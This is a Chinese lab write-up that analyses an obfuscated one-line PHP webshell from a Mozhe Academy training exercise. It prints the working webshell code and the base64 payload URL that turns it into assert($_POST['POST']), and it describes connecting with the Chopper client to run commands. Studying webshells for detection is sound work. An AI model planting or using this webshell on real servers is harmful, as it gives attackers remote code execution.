WebShell代码分析溯源(七)

一、一句话变形马样本

<?php

$e = $\_REQUEST['e'];$arr = array($\_POST['POST'],);array\_map(base64\_decode($e), $arr);?>


二、代码分析

1、调整代码格式

WebShell代码分析溯源(七)教程

2、分析代码

分析代码,首先使用REQUEST方法接收url中e参数传递的值,然后创建arr数组并把$\_POST\['POST'\]赋值给arr数组,然后使用array回调函数将自定义函数x(base64\_decode($e)解密出来的值x,这里假设为x),然后x函数作用于arr数组中的每个值上。

注:array\_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。

回调函数接受的参数数目应该和传递给 array\_map() 函数的数组数目一致。

参考:https://www.w3school.com.cn/php/func\_array\_map.asp

3、此时可以构造payload:http://www.test.com/test.php?e=YXNzZXJ0,这时再次分析代码,array\_map(base64\_decode($e), $arr),就变成了array\_map(assert, $arr),assert为自定义函数,assert函数作用于arrs数组中的每一个值上,此时构造了一句话木马assert($\_POST['POST'])

三、漏洞环境搭建

1、这里使用在线学习平台墨者学院中的实验环境(WebShell代码分析溯源(第6题)),地址: https://www.mozhe.cn/bug/detail/b1VaQzhxUzZTN0VYMVQvTHdzUWZ1UT09bW96aGUmozhe

2、代码环境,下载代码

WebShell代码分析溯源(七)教程

3、分析(上面已经分析过了)

4、使用菜刀连接

WebShell代码分析溯源(七)教程

5、执行一些命令

WebShell代码分析溯源(七)教程

四、后记

学习代码审计工具---Seay源代码审计系统

使用Seay源代码审计系统进行代码审计

WebShell代码分析溯源(七)教程

标签: 函数, 代码, POST, map, arr, array, WebShell, 溯源

相关文章推荐

添加新评论,含*的栏目为必填